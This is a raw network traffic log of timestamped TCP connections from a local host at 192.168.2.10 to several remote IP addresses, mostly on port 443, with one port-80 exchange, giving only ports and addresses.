Nov 24, 2024 08:44:00.316421986 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.317337990 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.317364931 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.318294048 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.318300962 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.333254099 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.340094090 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.340132952 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.341192007 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.341202021 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.407043934 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.407210112 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.407304049 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.407445908 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.407473087 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.407496929 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.407505035 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.411258936 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.411328077 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.411432028 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.411650896 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.411662102 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.521672010 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.521780014 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.521878958 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.522088051 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.522113085 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.522126913 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.522134066 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.525259018 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.525299072 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.525362968 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.525551081 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.525563002 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.734262943 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.734333992 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.734509945 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.734638929 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.734663963 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.734678030 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.734684944 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.737350941 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.737412930 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.737533092 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.737648010 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.737658978 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.760894060 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.760976076 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.761084080 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.761334896 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.761353970 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.761364937 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.761370897 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.764750004 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.764810085 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.764924049 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.765217066 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.765237093 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.786943913 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.787107944 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.787362099 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.787410021 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.787410021 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.787430048 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.787441969 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.790520906 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.790594101 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.790697098 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.790966988 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.790987015 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.198991060 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.199430943 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.199464083 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.199840069 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.199856043 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.374644041 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.375483990 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.375514030 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.375952005 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.375956059 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.518027067 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.518656015 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.518677950 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.519098997 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.519104958 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.544205904 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.544842958 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.544867992 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.545130968 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.545135021 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.574965000 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.575495005 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.575525999 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.575897932 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.575906992 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.642302036 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.642374992 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.642426968 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.642632961 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.642657995 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.642668009 CET	49769	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.642673969 CET	443	49769	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.645536900 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.645613909 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.645740986 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.645899057 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.645919085 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.681528091 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:02.681766033 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:02.681866884 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:02.681914091 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:02.681941032 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:02.719451904 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:02.719511032 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:02.719608068 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:02.719960928 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:02.719980001 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:02.886423111 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.886497021 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.886548042 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.886728048 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.886748075 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.886759043 CET	49770	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.886765003 CET	443	49770	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.889450073 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.889508963 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.889601946 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.889754057 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.889770031 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.962872982 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.963051081 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.963212967 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.963421106 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.963421106 CET	49771	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.963453054 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.963463068 CET	443	49771	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.967473030 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.967523098 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.967593908 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.969146013 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.969161034 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.989784002 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.989952087 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.990011930 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.990070105 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.990089893 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.990107059 CET	49772	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.990113020 CET	443	49772	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.992443085 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.992484093 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:02.992562056 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.992681026 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:02.992692947 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.018001080 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.018100977 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.018210888 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.018332958 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.018362999 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.018373966 CET	49773	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.018379927 CET	443	49773	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.020796061 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.020817041 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.020895958 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.021024942 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:03.021037102 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:03.981224060 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:03.981468916 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:03.984087944 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:03.984102011 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:03.984357119 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:03.987472057 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:03.990710974 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:03.990876913 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:04.225913048 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.226455927 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.226500988 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.227070093 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.227077961 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.608228922 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.609000921 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.609031916 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.609462976 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.609467983 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.670376062 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.670449972 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.670658112 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.670686007 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.670703888 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.670713902 CET	49774	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.670722008 CET	443	49774	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.673801899 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.673846960 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.673939943 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.674099922 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.674112082 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.685997963 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:04.686079979 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:04.686237097 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:04.686307907 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:04.686320066 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:04.686336040 CET	49775	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:44:04.686340094 CET	443	49775	172.67.162.84	192.168.2.10
Nov 24, 2024 08:44:04.687321901 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:04.708250999 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.708703995 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.708713055 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.709151030 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.709155083 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.806710005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:04.806793928 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:04.806937933 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:04.815031052 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.815457106 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.815479040 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.816138983 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.816152096 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.865495920 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.866003990 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.866015911 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.866586924 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:04.866590977 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:04.926368952 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:05.043256044 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.043318987 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.043366909 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.043560982 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.043576956 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.043590069 CET	49776	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.043595076 CET	443	49776	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.046561956 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.046591043 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.046678066 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.046854019 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.046864033 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.142760038 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.142853022 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.142940998 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.143146038 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.143171072 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.143182039 CET	49778	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.143187046 CET	443	49778	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.146085024 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.146130085 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.146224976 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.146389961 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.146400928 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.267992973 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.268069983 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.268196106 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.268399954 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.268418074 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.268429995 CET	49777	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.268439054 CET	443	49777	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.271409035 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.271455050 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.271528959 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.271678925 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.271687984 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.317454100 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.317539930 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.317596912 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.317749977 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.317756891 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.317765951 CET	49779	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.317770004 CET	443	49779	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.320924997 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.320956945 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:05.321211100 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.321211100 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:05.321238041 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.211174965 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211196899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211209059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211304903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211325884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211337090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211350918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211363077 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211412907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211424112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.211441994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.211441994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.211441994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.211441994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.211481094 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.331091881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.344213963 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.344224930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.344396114 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.388668060 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.389600039 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.389625072 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.389934063 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.389940023 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.412661076 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.412834883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.413033962 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.416760921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.416863918 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.416910887 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.425147057 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.425249100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.425293922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.433511972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.433670044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.433717966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.441869974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.441984892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.442030907 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.450256109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.450368881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.450412989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.458735943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.458869934 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.458914995 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.466958046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.467051029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.467093945 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.475368977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.475478888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.475524902 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.483702898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.483808041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.483855963 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.492121935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.541579008 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.586915970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.587032080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.587097883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.591130018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.613857031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.613943100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.613941908 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.616249084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.616312981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.616353035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.621185064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.621237993 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.621253014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.626034975 CET	80	49781	185.215.113.16	192.168.2.10
